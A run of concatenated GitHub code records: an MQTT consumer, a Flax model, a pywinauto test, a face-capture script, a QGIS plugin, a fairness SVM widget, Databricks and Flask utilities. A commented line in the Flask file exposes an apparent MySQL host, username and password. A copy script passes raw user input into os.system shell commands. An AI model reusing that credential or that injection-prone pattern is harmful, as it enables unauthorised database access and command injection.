db['mqtt-log']\n\nINFLUXDB_ENABLE = True\nif INFLUXDB_ENABLE:\n from influxdb import InfluxDBClient\n client = InfluxDBClient('localhost', 8086, database='mqtt-log')\n # client.create_database('mqtt-log')\n\nHOST = '127.0.0.1'\nexchange_name = 'amq.topic'\nexchange_type = 'topic'\n# 如果启动多个实例,则同时绑定这个队列,表示轮询给这些实例处理\nqueue_name = 'mqtt-comsumer'\n\nbinding_keys = sys.argv[1:]\nif not binding_keys:\n print('Usage: %s [binding_key]...' % sys.argv[0])\n print(\"default binding_key='#'\")\n binding_keys = ('#',)\n\nconnection = pika.BlockingConnection(pika.ConnectionParameters(host=HOST))\n\nchannel = connection.channel()\nchannel.exchange_declare(exchange=exchange_name, exchange_type=exchange_type, durable=True)\nchannel.queue_declare(queue=queue_name)\n\n\n# binding topic\nfor binding_key in binding_keys:\n channel.queue_bind(exchange=exchange_name, queue=queue_name, routing_key=binding_key)\n\n\ndef callback(ch, method, properties, body):\n topic = method.routing_key.replace('.', '/')\n if body:\n payload = body.decode()\n else:\n payload = ''\n # print(\" [x] %r:%r\" % (topic, payload))\n\n if MONGDB_ENABLE:\n json_body = {\n 'topic': topic,\n 'payload': payload,\n 'create_datetime': dt.datetime.now()\n }\n mqtt_log.insert_one(json_body)\n\n if INFLUXDB_ENABLE:\n json_body = [{\n 'measurement': 'mqtt-log',\n # time字段,主索引,数据库会自动生成\n # 'time': dt.datetime.utcnow(),\n\n # tags:有索引的字段\n \"tags\": {\n \"topic\": topic,\n },\n\n # fileds: 没有索引的字段\n \"fields\": {\n 'payload': payload,\n }\n }]\n client.write_points(json_body)\n\n # 查询过去3s的数据\n # result = client.query(\"\"\"SELECT * FROM \"mqtt-log\" WHERE time > now() - 3s AND \"topic\"='{topic}';\"\"\".format(topic=topic))\n # print(\"Result: {0}\".format(result))\n\n\nif __name__ == \"__main__\":\n print('queue_name:' + queue_name)\n print(' [*] Waiting for {}. To exit press CTRL+C'.format(exchange_name))\n channel.basic_consume(callback, queue=queue_name, no_ack=True)\n channel.start_consuming()\n","repo_name":"AngelLiang/RabbitMQ-MQTT-Consumer-Demo","sub_path":"mqtt_consumer.py","file_name":"mqtt_consumer.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74317831449","text":"import copy\nfrom typing import Any, Tuple\n\nfrom flax import linen as nn\nfrom init2winit.model_lib import base_model\nfrom init2winit.model_lib import model_utils\nfrom jax.nn import initializers\nimport jax.numpy as jnp\nfrom ml_collections.config_dict import config_dict\n\n\n# small hparams used for unit tests\nDEFAULT_HPARAMS = config_dict.ConfigDict(\n dict(\n hid_sizes=[20, 10],\n kernel_scales=[1.0, 1.0, 1.0],\n lr_hparams={\n 'base_lr': 0.1,\n 'schedule': 'constant'\n },\n layer_rescale_factors={},\n optimizer='momentum',\n opt_hparams={\n 'momentum': 0.9,\n },\n batch_size=128,\n total_accumulated_batch_size=None,\n activation_function='relu',\n l2_decay_factor=.0005,\n l2_decay_rank_threshold=2,\n label_smoothing=None,\n rng_seed=-1,\n use_shallue_label_smoothing=False,\n model_dtype='float32',\n grad_clip=None,\n ))\n\n\nclass FullyConnected(nn.Module):\n \"\"\"Defines a fully connected neural network.\n\n The model assumes the input data has shape\n [batch_size_per_device, *input_shape] where input_shape may be of arbitrary\n rank. The model flatten the input before applying a dense layer.\n \"\"\"\n num_outputs: int\n hid_sizes: Tuple[int]\n activation_function: Any\n kernel_inits: Tuple[model_utils.Initializer]\n bias_init: model_utils.Initializer = initializers.zeros\n\n @nn.compact\n def __call__(self, x, train):\n del train\n if not isinstance(self.activation_function, str):\n if len(self.activation_function) != len(self.hid_sizes):\n raise ValueError(\n 'The number of activation functions must be equal to the number '\n 'of hidden layers')\n activation_function = copy.deepcopy(self.activation_function)\n else:\n activation_function = [self.activation_function] * len(self.hid_sizes)\n\n x = jnp.reshape(x, (x.shape[0], -1))\n for i, (num_hid, init) in enumerate(\n zip(self.hid_sizes, self.kernel_inits[:-1])):\n x = nn.Dense(num_hid, kernel_init=init, bias_init=self.bias_init)(x)\n x = model_utils.ACTIVATIONS[activation_function[i]](x)\n x = nn.Dense(\n self.num_outputs,\n kernel_init=self.kernel_inits[-1],\n bias_init=self.bias_init)(x)\n return x\n\n\n# pylint: disable=missing-class-docstring\nclass FullyConnectedModel(base_model.BaseModel):\n \"\"\"Model class for fully connected model.\"\"\"\n\n def build_flax_module(self):\n kernel_inits = [\n initializers.variance_scaling(scale, 'fan_in', 'truncated_normal')\n for scale in self.hps.kernel_scales\n ]\n return FullyConnected(\n num_outputs=self.hps['output_shape'][-1],\n hid_sizes=tuple(self.hps.hid_sizes),\n activation_function=self.hps.activation_function,\n kernel_inits=tuple(kernel_inits))\n\n def get_fake_inputs(self, hps):\n \"\"\"Helper method solely for the purpose of initialzing the model.\"\"\"\n dummy_inputs = [\n jnp.zeros((hps.batch_size, *hps.input_shape), dtype=hps.model_dtype)\n ]\n return dummy_inputs\n","repo_name":"google/init2winit","sub_path":"init2winit/model_lib/fully_connected.py","file_name":"fully_connected.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"31"} +{"seq_id":"12258093956","text":"\n\nimport os\n\nfileName = input(\"Enter a filename: \")\n\ninFile = open(fileName, \"r\")\n\ndirName = input(\"Enter a name for the output directory: \")\n\npathToTempDir = \"/mu2e/app/users/bbarton/CrBkgEstims/SubmissionScripts/Fcl_files/\" + dirName + \"/\"\n\nos.system(\"mkdir \" + pathToTempDir)\n\nfor line in inFile.readlines():\n os.system(\"cp \" + line[:-42] + \"/\" + line[-42:-1] + \" \" + pathToTempDir)\n\nos.system(\"cd \" + pathToTempDir)\n\nfileList = os.listdir()\n\nprint(fileList)\n\n\n#appendLine = \"physics.analyzers.digiCompressionCheck.checkTrackerDuplicateSteps : false\"\n#outDirPath = \"/pnfs/mu2e/scratch/users/bbarton/workflow/\" + dirName +\"/\"\n#for fNum in range(len(fileList)):\n# f = open(fileList[fNum], \"a\")\n# f.write(appendLine)\n# f.close()\n\n# os.system(\"cp \" + fileList[fNum] + \" \" + outDirPath)\n\n\n\n \n","repo_name":"99bbarton/CrBkgEstims","sub_path":"SubmissionScripts/ListBuildingScripts/cpDuplicateFailFcl.py","file_name":"cpDuplicateFailFcl.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73224047128","text":"from __future__ import print_function\nimport sys, os\n\nprint(\"\\xef\\xbb\\xbf\")\n\nscript_dir = os.path.join(os.getcwd(), os.path.dirname(sys.argv[0]))\nprint('script_dir = ' + script_dir)\nos.chdir(script_dir)\nimport pywinauto\n\napp = pywinauto.Application().start_(os.path.join(script_dir, r\"apps\\MFC_tutorial\\MFC_Tutorial9.exe\"))\nprint('started')\ndlg = app.MFC_Tutorial9\n\ndlg.TypeYourTextEdit.TypeKeys('qqq')\ndlg.Add.Click()\n\ndlg.TypeYourTextEdit.Select()\ndlg.TypeYourTextEdit.TypeKeys('123')\ndlg.Add.Click()\n\ndlg.TypeYourTextEdit.Select()\ndlg.TypeYourTextEdit.TypeKeys('third item', with_spaces=True)\ndlg.Add.Click()\n\nctrl = dlg.ListBox.WrapperObject()","repo_name":"pywinauto/pywinauto-sandbox","sub_path":"debugging/test_ListBox_MFC.py","file_name":"test_ListBox_MFC.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"38905917210","text":"\r\nimport dlib\r\nimport face_detect_utils\r\n# pylint: disable=invalid-name12\r\npath = r\"E:\\untitled3\\venv\\Digital\\dataset\\FaceDataSets\"\r\nimport os\r\nimport random\r\nimport numpy as np\r\nimport cv2\r\ndlib_face_detector = dlib.get_frontal_face_detector()\r\n\r\ndef createdir_120(*args):\r\n ''' create dir'''\r\n for item in args:\r\n if not os.path.exists(item):\r\n os.makedirs(item)\r\n\r\nIMGSIZE = 128\r\n\r\ndef getpaddingSize_120(shape):\r\n ''' get size to make image to be a square rect '''\r\n h, w = shape\r\n longest = max(h, w)\r\n result = (np.array([longest]*4, int) - np.array([h, h, w, w], int)) // 2\r\n return result.tolist()\r\n\r\ndef dealwithimage_120(img, h=64, w=64):\r\n ''' dealwithimage '''\r\n #img = cv2.imread(imgpath)\r\n top, bottom, left, right = getpaddingSize(img.shape[0:2])\r\n img = cv2.copyMakeBorder(img, top, bottom, left, right, cv2.BORDER_CONSTANT, value=[0, 0, 0])\r\n img = cv2.resize(img, (h, w))\r\n return img\r\n\r\ndef relight_120(imgsrc, alpha=1, bias=0):\r\n '''relight'''\r\n imgsrc = imgsrc.astype(float)\r\n imgsrc = imgsrc * alpha + bias\r\n imgsrc[imgsrc < 0] = 0\r\n imgsrc[imgsrc > 255] = 255\r\n imgsrc = imgsrc.astype(np.uint8)\r\n return imgsrc\r\n\r\ndef getfacefromcamera_120(outdir,name,laber):\r\n createdir_120(outdir)\r\n camera = cv2.VideoCapture(0)\r\n haar = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\r\n n = 1\r\n while 1:\r\n if (n <= 50):\r\n print('It`s processing %s image.' % n)\r\n # 读帧-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r\n success, img = camera.read()\r\n #-------------------------------------\r\n\r\n # cv2.imshow(\"capture\", frame)\r\n\r\n # if len(dlib_face_detector(frame, 1)) != 0:\r\n # cv2.imwrite((picPath + \"\\\\\" + str(self.num) + '_' + str(self.n) + \".bmp\"), image)\r\n # print((picPath + \"\\\\\" + str(self.num) + '_' + str(self.n) + \".bmp\"))\r\n #\r\n #--------------------------------\r\n\r\n\r\n gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n faces = haar.detectMultiScale(gray_img, 1.3, 5)\r\n # faces = face_detect_utils.detect_and_label(img)\r\n for f_x, f_y, f_w, f_h in faces:\r\n #could deal with face to train12\r\n if len(dlib_face_detector(img, 1)) != 0 :\r\n # img = face_detect_utils.detect_and_label(img)\r\n face = img[f_y:f_y + f_h, f_x:f_x + f_w]\r\n face = cv2.resize(face, (IMGSIZE, IMGSIZE))\r\n face = relight_120(face, random.uniform(0.5, 1.5), random.randint(-50, 50))\r\n cv2.imwrite(os.path.join(outdir, laber+'_'+name+str(n)+'.bmp'), face)\r\n cv2.putText(img, 'text', (f_x, f_y - 20), cv2.FONT_HERSHEY_SIMPLEX, 1, 255, 2) #显示名字\r\n img = cv2.rectangle(img, (f_x, f_y), (f_x + f_w, f_y + f_h), (255, 0, 0), 2)\r\n n+=1\r\n cv2.imshow('img', img)\r\n key = cv2.waitKey(30) & 0xff\r\n if key == 27:\r\n break\r\n else:\r\n break\r\n camera.release()\r\n cv2.destroyAllWindows()\r\n\r\nif __name__ == '__main__':\r\n name = input('please input your name: ')\r\n laber=input('please input your number: ')\r\n getfacefromcamera_120(os.path.join(path, name),name,laber)","repo_name":"zhongxiaj/Face_recognizitioan","sub_path":"getmypic_120.py","file_name":"getmypic_120.py","file_ext":"py","file_size_in_byte":3579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11421533455","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n/***************************************************************************\n Chole\n A QGIS plugin\n description\n -------------------\n begin : 2017-10-17\n author : Jean-Charles Naud, Olivier Bedel, Hugues Boussard\n\n email : hugues.boussard at inra.fr\n ***************************************************************************/\n\n\"\"\"\n\nfrom builtins import str\n__author__ = 'Jean-Charles Naud/Alkante'\n__date__ = '2017-10-17'\n\n\n# This will get replaced with a git SHA1 when you do a git archive\n\n__revision__ = '$Format:%H$'\n\nimport os\nimport glob\n\nfrom qgis.core import (\n QgsProcessingAlgorithm,\n QgsProcessingParameterVectorLayer,\n QgsProcessingParameterRasterLayer,\n QgsProcessingParameterMultipleLayers,\n QgsProcessingParameterField,\n QgsProcessingParameterNumber,\n QgsProcessingParameterBoolean,\n QgsProcessingParameterString,\n QgsProcessingParameterFeatureSource,\n QgsProcessingParameterFile,\n QgsProcessingParameterEnum,\n QgsProcessingOutputVectorLayer,\n QgsProcessingOutputRasterLayer,\n QgsProcessingOutputFolder,\n QgsProcessingParameterFileDestination,\n QgsProcessingParameterFolderDestination,\n QgsProcessingParameterRasterDestination,\n QgsProcessingOutputFolder,\n QgsProcessingFeedback\n)\n\nfrom processing.tools.system import getTempFilename, isWindows, isMac\nfrom time import gmtime, strftime\nfrom ..ChloeUtils import ChloeUtils\n\n\n# Mother class\nfrom ..chloe_algorithm import ChloeAlgorithm\nfrom ..chloe_algorithm_dialog import ChloeParameterFolderDestination\n\nclass SlidingMultiAlgorithm(ChloeAlgorithm):\n \"\"\"Algorithm sliding multi.\"\"\"\n\n def __init__(self):\n super().__init__()\n\n # def getCustomParametersDialog(self):\n # \"\"\"Define Dialog associed with this algorithm\"\"\"\n # return SlidingMultiAlgorithmDialog(self)\n\n def initAlgorithm(self, config=None):\n # === INPUT PARAMETERS ===\n inputAscParam = QgsProcessingParameterRasterLayer(\n name=self.INPUT_LAYER_ASC,\n description=self.tr('Input layer asc'))\n\n inputAscParam.setMetadata({\n 'widget_wrapper': {\n 'class': 'Chloe.chloe_algorithm_dialog.ChloeAscRasterWidgetWrapper'\n }\n })\n self.addParameter(inputAscParam)\n\n # ANALYZE TYPE\n\n analyzeTypeParam = QgsProcessingParameterEnum(\n name=self.ANALYZE_TYPE,\n description=self.tr('Analyze type'),\n options=self.types_of_analyze)\n\n analyzeTypeParam.setMetadata({\n 'widget_wrapper': {\n 'class': 'Chloe.chloe_algorithm_dialog.ChloeEnumUpdateStateWidgetWrapper',\n 'dependantWidgetConfig': [{ \n 'paramName': self.DISTANCE_FUNCTION, \n 'enableValue': 1\n }]\n }\n })\n\n self.addParameter(analyzeTypeParam)\n\n # DISTANCE FUNCTION\n\n self.addParameter(QgsProcessingParameterString(\n name=self.DISTANCE_FUNCTION,\n description=self.tr('Distance function'),\n optional=True))\n\n windowShapeParam = QgsProcessingParameterEnum(\n name=self.WINDOW_SHAPE,\n description=self.tr('Window shape'),\n options=self.types_of_shape)\n\n windowShapeParam.setMetadata({\n 'widget_wrapper': {\n 'class': 'Chloe.chloe_algorithm_dialog.ChloeEnumUpdateStateWidgetWrapper',\n 'dependantWidgetConfig': [{ \n 'paramName': self.FRICTION_FILE, \n 'enableValue': 2\n }]\n }\n })\n\n self.addParameter(windowShapeParam)\n\n self.addParameter(QgsProcessingParameterFile(\n name=self.FRICTION_FILE,\n description=self.tr('Friction file'),\n optional=True))\n\n windowSizeParam = QgsProcessingParameterString(\n name=self.WINDOW_SIZES,\n description=self.tr('Windows sizes (pixels)')) # [constraint V2.0: \"select only one\"]\n \n windowSizeParam.setMetadata({\n 'widget_wrapper': {\n 'class': 'Chloe.chloe_algorithm_dialog.ChloeIntListWidgetWrapper',\n 'initialValue': 3,\n 'minValue' : 3,\n 'maxValue' : 100001,\n 'oddNum' : True\n }\n })\n \n self.addParameter(windowSizeParam)\n \n self.addParameter(QgsProcessingParameterNumber(\n name=self.DELTA_DISPLACEMENT,\n description=self.tr('Delta displacement (pixels)'),\n defaultValue=1,\n minValue=1))\n\n self.addParameter(QgsProcessingParameterBoolean(\n name=self.INTERPOLATE_VALUES_BOOL,\n description=self.tr('Interpolate Values'),\n defaultValue=False))\n\n fieldsParam = QgsProcessingParameterString(\n name=self.FILTER,\n description=self.tr('Filters - Analyse only'),\n defaultValue='',\n optional=True)\n fieldsParam.setMetadata({\n 'widget_wrapper': {\n 'class': 'Chloe.chloe_algorithm_dialog.ChloeValuesWidgetWrapper'\n }\n })\n self.addParameter(fieldsParam)\n\n fieldsParam = QgsProcessingParameterString(\n name=self.UNFILTER,\n description=self.tr('Filters - Do not analyse'),\n defaultValue='',\n optional=True)\n fieldsParam.setMetadata({\n 'widget_wrapper': {\n 'class': 'Chloe.chloe_algorithm_dialog.ChloeValuesWidgetWrapper'\n }\n })\n self.addParameter(fieldsParam)\n\n self.addParameter(QgsProcessingParameterNumber(\n name=self.MAXIMUM_RATE_MISSING_VALUES,\n description=self.tr('Maximum rate of missing values'),\n minValue=0,\n maxValue=100,\n defaultValue=100))\n\n metricsParam = QgsProcessingParameterString(\n name=self.METRICS,\n description=self.tr('Select metrics'))\n\n metricsParam.setMetadata({\n 'widget_wrapper': {\n 'class': 'Chloe.chloe_algorithm_dialog.ChloeMultipleMetricsSelectorWidgetWrapper',\n 'dictValues': self.types_of_metrics,\n 'initialValue': 'value metrics',\n 'rasterLayerParamName': self.INPUT_LAYER_ASC,\n 'parentWidgetConfig': { 'paramName': self.INPUT_LAYER_ASC, 'refreshMethod': 'refreshMetrics'}\n }\n })\n \n self.addParameter(metricsParam)\n\n # === OUTPUT PARAMETERS ===\n \n self.addParameter(ChloeParameterFolderDestination(\n name=self.OUTPUT_DIR,\n description=self.tr('Output directory')))\n\n self.addParameter(QgsProcessingParameterFileDestination(\n name=self.SAVE_PROPERTIES,\n description=self.tr('Properties file'),\n fileFilter='Properties (*.properties)'))\n\n def name(self):\n return 'sliding multi'\n\n def displayName(self):\n return self.tr('sliding multi')\n\n def group(self):\n return self.tr('landscape metrics')\n\n def groupId(self):\n return 'landscapemetrics'\n\n def commandName(self):\n return 'sliding multi'\n\n def PreRun(self, parameters, context, feedback, executing=True):\n \"\"\"Here is where the processing itself takes place.\"\"\"\n\n # === INPUT\n self.input_layer_asc = self.parameterRasterAsFilePath(\n parameters, self.INPUT_LAYER_ASC, context)\n\n self.window_shape = self.types_of_shape[\n self.parameterAsInt(parameters, self.WINDOW_SHAPE, context)]\n self.friction_file = self.parameterAsString(\n parameters, self.FRICTION_FILE, context)\n self.window_sizes = self.parameterAsString(\n parameters, self.WINDOW_SIZES, context)\n\n self.analyze_type = self.types_of_analyze[\n self.parameterAsInt(parameters, self.ANALYZE_TYPE, context)]\n\n self.distance_formula = self.parameterAsString(parameters, self.DISTANCE_FUNCTION, context)\n\n self.delta_displacement = self.parameterAsInt(\n parameters, self.DELTA_DISPLACEMENT, context)\n self.b_interpolate_values = self.parameterAsBool(\n parameters, self.INTERPOLATE_VALUES_BOOL, context)\n\n self.filter = self.parameterAsString(\n parameters, self.FILTER, context)\n self.unfilter = self.parameterAsString(\n parameters, self.UNFILTER, context)\n\n self.maximum_rate_missing_values = self.parameterAsInt(\n parameters, self.MAXIMUM_RATE_MISSING_VALUES, context)\n self.metrics = self.parameterAsString(\n parameters, self.METRICS, context)\n\n # === OUTPUT\n self.output_dir = self.parameterAsString(\n parameters, self.OUTPUT_DIR, context)\n ChloeUtils.adjustTempDirectory(self.output_dir)\n\n base_in = os.path.basename(self.input_layer_asc)\n name_in = os.path.splitext(base_in)[0]\n ext_in = os.path.splitext(base_in)[1]\n\n # === SAVE_PROPERTIES\n f_save_properties = self.parameterAsString(\n parameters, self.SAVE_PROPERTIES, context)\n\n if f_save_properties:\n self.f_path = f_save_properties\n else:\n if not self.f_path:\n self.f_path = getTempFilename(ext=\"properties\")\n\n # === Properties file\n self.createPropertiesTempFile()\n\n # === output filenames\n self.deduceOutputFilenames()\n\n def createPropertiesTempFile(self):\n \"\"\"Create Properties File\"\"\"\n\n s_time = strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())\n with open(self.f_path, \"w\") as fd:\n fd.write(\"#\"+s_time+\"\\n\")\n\n fd.write(\"treatment=sliding\\n\")\n fd.write(ChloeUtils.formatString(\n 'input_ascii=' + self.input_layer_asc+\"\\n\", isWindows()))\n\n fd.write(ChloeUtils.formatString(\n 'output_folder=' + self.output_dir + \"\\n\", isWindows()))\n\n fd.write(\"window_sizes={\" + self.window_sizes + \"}\\n\")\n fd.write(\"maximum_nodata_value_rate=\"\n + str(self.maximum_rate_missing_values) + \"\\n\")\n \n if self.analyze_type == \"weighted distance\":\n fd.write(\"distance_function=\" + str(self.distance_formula))\n\n fd.write(\"metrics={\" + self.metrics + \"}\\n\")\n fd.write(\"delta_displacement=\"\n + str(self.delta_displacement) + \"\\n\")\n fd.write(\"shape=\" + str(self.window_shape) + \"\\n\")\n if self.window_shape == \"FUNCTIONAL\":\n fd.write(\"friction_map=\" + self.friction_file + \"\\n\")\n\n if self.b_interpolate_values:\n fd.write(\"interpolation=true\\n\")\n else:\n fd.write(\"interpolation=false\\n\")\n\n if self.filter:\n fd.write(\"filters={\" + self.filter + \"}\\n\")\n if self.unfilter:\n fd.write(\"unfilters={\" + self.unfilter + \"}\\n\")\n\n fd.write(\"visualize_ascii=false\\n\")\n\n fd.write(\"export_csv=true\\n\")\n fd.write(\"export_ascii=true\\n\")\n\n def deduceOutputFilenames(self):\n self.outputFilenames = []\n baseOutAsc = os.path.basename(self.input_layer_asc)\n radical = os.path.splitext(baseOutAsc)[0]\n for ws in self.window_sizes:\n for m in self.metrics.split(';'):\n fName = radical + \"_\" + str(self.types_of_shape_abrev[self.window_shape]) + \"_w\" + str(ws) + \"_\" + str(m) + \"_d_\" + str(self.delta_displacement) + \".asc\"\n fFullName = self.output_dir + os.sep + fName\n self.outputFilenames.append(fFullName)","repo_name":"hboussard/chloe_qgis","sub_path":"algorithms/sliding_multi_algorithm.py","file_name":"sliding_multi_algorithm.py","file_ext":"py","file_size_in_byte":11864,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"1930183272","text":"from Orange.classification import LogisticRegressionLearner\nfrom Orange.data import table_to_frame\nfrom Orange.widgets.widget import OWWidget, Input, Output\nfrom Orange.data.table import Table\nimport numpy as np\nimport pandas as pd\nfrom scipy.optimize import minimize\nfrom PyQt5.QtCore import Qt\nfrom Orange.widgets import gui, settings\n\nfrom fairness.widgets.table_model import TableModel\n\n\nclass FairSVM(OWWidget):\n name = \"Fair SVM\"\n icon = \"icons/fair_svm_icon.png\"\n\n Thresholds = [-0.5, 0, 0.5]\n t = settings.Setting(1)\n\n want_main_area = False\n\n def __init__(self):\n super().__init__()\n # inputs\n self.y = None\n self.s = None\n self.y_pred = None\n self.X = None\n\n self.box = gui.vBox(self.controlArea, \"Threshold\")\n\n gui.comboBox(\n self.box, self, \"t\",\n items=[str(x) for x in self.Thresholds],\n orientation=Qt.Horizontal, callback=self.zafar_svm)\n\n class Inputs:\n s = Input(\"Sensitive attribute\", Table)\n y = Input(\"Target attribute\", Table)\n X = Input(\"Feature attributes\", Table)\n\n @Inputs.X\n def set_X(self, X):\n \"\"\"Set the input X.\"\"\"\n self.X = X\n self.zafar_svm()\n\n @Inputs.s\n def set_s(self, s):\n \"\"\"Set the input s.\"\"\"\n self.s = s\n self.zafar_svm()\n\n @Inputs.y\n def set_y(self, y):\n \"\"\"Set the input y.\"\"\"\n self.y = y\n self.zafar_svm()\n\n class Outputs:\n coefficients = Output(\"Coefficients\", Table, explicit=True)\n algorithm = Output('Algorithm', str)\n\n def zafar_svm(self):\n def hinge_loss(w, X, y):\n yz = y * np.dot(X, w)\n yz = np.maximum(np.zeros_like(yz), (1 - yz)) # hinge function\n\n return np.mean(yz)\n\n def avg_disp_imp_upper(w, X_0, X_1, y_0, y_1, z_1, z_0, t):\n y_intensity = t + z_1 / z * hinge_loss(w, X_1, y_1) - z_0 / z * hinge_loss(w, X_0, y_0)\n\n return y_intensity\n\n def avg_disp_imp_lower(w, X_0, X_1, y_0, y_1, z_1, z_0, t):\n y_intensity = -z_1 / z * hinge_loss(w, X_1, y_1) + z_0 / z * hinge_loss(w, X_0, y_0) + t\n\n return y_intensity\n if self.s is not None and self.y is not None and self.X is not None:\n\n s = table_to_frame(self.s).iloc[:, 0]\n y = table_to_frame(self.y).iloc[:, 0]\n X = table_to_frame(self.X)\n\n z_1 = len(s[s == 1])\n z_0 = len(s[s == 0])\n z = len(s)\n\n y_0 = y[s == 0]\n y_1 = y[s == 1]\n\n X_0 = X[s == 0]\n X_1 = X[s == 1]\n\n w_0 = np.repeat(0, X.shape[1])\n\n t = self.Thresholds[self.t]\n\n cons = ({'type': 'ineq', 'fun': avg_disp_imp_lower, 'args': (X_0, X_1, y_0, y_1, z_1, z_0, t)},\n {'type': 'ineq', 'fun': avg_disp_imp_upper, 'args': (X_0, X_1, y_0, y_1, z_1, z_0, t)})\n\n model = minimize(fun=hinge_loss, x0=w_0, args=(X, y),\n method='SLSQP', constraints=cons)\n\n self.Outputs.coefficients.send(model.x)\n self.Outputs.algorithm.send('SVM')","repo_name":"sanjarancic/Orange3_Fairness_Add_ons","sub_path":"fairness/widgets/in_processing_fair_svm.py","file_name":"in_processing_fair_svm.py","file_ext":"py","file_size_in_byte":3149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21667913012","text":"# Databricks notebook source\n# MAGIC %md # Databricks Utilities \n# MAGIC > Tools for use within databricks notebooks. \n\n# COMMAND ----------\n\n#| default_exp databricksUtils\n\n# COMMAND ----------\n\n#| hide\nfrom nbdev import *\n\n# COMMAND ----------\n\n#| export\n\nimport pytz\n\nfrom datetime import datetime\n\nimport re\n\n# COMMAND ----------\n\n#| export\n\ndef dump_data_to_disk(df, file_stem, databricks_url='https://ie-meta-prod-databricks-workspace.cloud.databricks.com', sep='\\t'):\n ''' \n Save a Pandas's Dataframe to disk and returns a URL where you can download it\n \n `file_stem`: the location to save the file in the databricks file system. String must start with '/dbfs/FileStore/'\n `databricks_url`: is the URL for the Databricks environment being used. Defaults to the CZI workspace. \n '''\n if sep=='\\t':\n suffix = '.tsv'\n elif sep==',':\n suffix = '.csv'\n else:\n raise Exception('separator must be either a TAB or COMMA')\n tz = pytz.timezone('America/Los_Angeles')\n now = datetime.now(tz=tz)\n datestamp = now.strftime(\"%Y_%m_%d\")\n data_path = file_stem+datestamp+suffix\n df = df.replace(r'\\\\\\\\n', ' ', regex=True)\n df.to_csv(data_path, sep=sep, index=False)\n databricks_stem = databricks_url + '/files/'\n url = re.sub('/dbfs/FileStore/', databricks_stem, data_path)\n name = file_stem\n name_match = re.search('/([a-zA-Z0-9_]+)_*$', file_stem)\n if name_match:\n name = name_match.group(1)\n\n return url\n","repo_name":"chanzuckerberg/czLandscapingTk","sub_path":"databricks/utils/00_databricks_utils.py","file_name":"00_databricks_utils.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"3466159737","text":"import numpy as np\nimport pandas as pd\nimport pickle\nimport json\n# from IPython.display import display\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom flask import Flask\nfrom flask import request\nfrom flask import jsonify\nfrom db_class import StorageDatabase\nfrom prediction import model\n\n# db = StorageDatabase(\"sql11.freemysqlhosting.net\",\"3306\",\"sql11593194\",\"sql11593194\",\"2CPjwjQHDQ\")\n# df_NYC = pd.read_sql(\"SELECT * FROM NYC\", db.__connection__)\n# df_MSK = pd.read_sql(\"SELECT * FROM MSK\", db.__connection__)\n# df_TLV = pd.read_sql(\"SELECT * FROM TLV\", db.__connection__)\n# db.__connection__.close()\ndf_NYC = pd.read_csv('NYC.csv')\ndf_TLV = pd.read_csv('TLV.csv')\ndf_MSK = pd.read_csv('MSK.csv')\n\ncity_data = {'TLV' : df_TLV, 'MSK' : df_MSK, 'NYC' : df_NYC}\n\n# df_TLV.to_csv('TLV.csv')\n# df_MSK.to_csv('MSK.csv')\n# df_NYC.to_csv('NYC.csv')\n\n\n\nFEATURES = ['is_male','num_inters','late_on_payment','age','years_in_contract']\n# Reading datafiles\nwith open('churn_model.pkl', 'rb') as file:\n clf = pickle.load(file)\n\nfeatures = FEATURES\n\napp = Flask(__name__)\n\n\n# Individual prediction\n@app.route('/')\ndef get_prediction():\n try:\n observation = pd.DataFrame()\n for feature in features:\n observation[feature] = [float(request.args.get(feature))]\n prediction = str(clf.predict(observation)[0])\n return f\"Predicted value of churn: {prediction}\"\n except:\n return\n\n#Bulk prediction\n@app.route('/predict_churn_bulk',methods=['POST'])\ndef get_bulk_predictions():\n try:\n observations = pd.DataFrame(json.loads(request.get_json()))\n result = {'Prediction' : list(clf.predict(observations).astype(str))}\n return jsonify(result)\n except:\n return\n\n@app.route(\"/get_event\")\ndef get_event():\n try:\n event_id = (request.args.get(\"event_id\"))\n home_city = request.args.get(\"home_city\")\n target_city = request.args.get(\"target_city\")\n\n print(f\"Home {home_city} Target {target_city} ID {event_id}\")\n\n dfr = city_data[home_city]\n sample_text = dfr.loc[int(event_id), 'description']\n\n print(sample_text[:10])\n result = model(city_data[target_city], sample_text, 20)[['id', 'similarity_percentage']]\n data = result.sort_values('similarity_percentage', ascending=False)\n data = data.to_dict(orient='records')\n print(data)\n return jsonify(data)\n except:\n return\n\napp.run(host='0.0.0.0', port=3000)\n#app.run()\n\n\n","repo_name":"astrinleonid/flask_test","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29147525261","text":"# Python 2 and 3\nfrom __future__ import unicode_literals\n\nfrom ..base import Resource\n\n\nclass BaseTransaction(Resource):\n _is_listable = False\n\n _as_is_fields = ['id', 'href', 'status', 'transaction_type', 'error']\n _date_time_fields_utc = ['date_created', 'date_last_modified']\n _price_fields = ['amount']\n _resource_fields = [\n ('booking', 'Booking'),\n ]\n\n\nclass Refund(BaseTransaction):\n _resource_name = 'refunds'\n _price_fields = ['amount', 'commission']\n\n\nclass Payment(BaseTransaction):\n _resource_name = 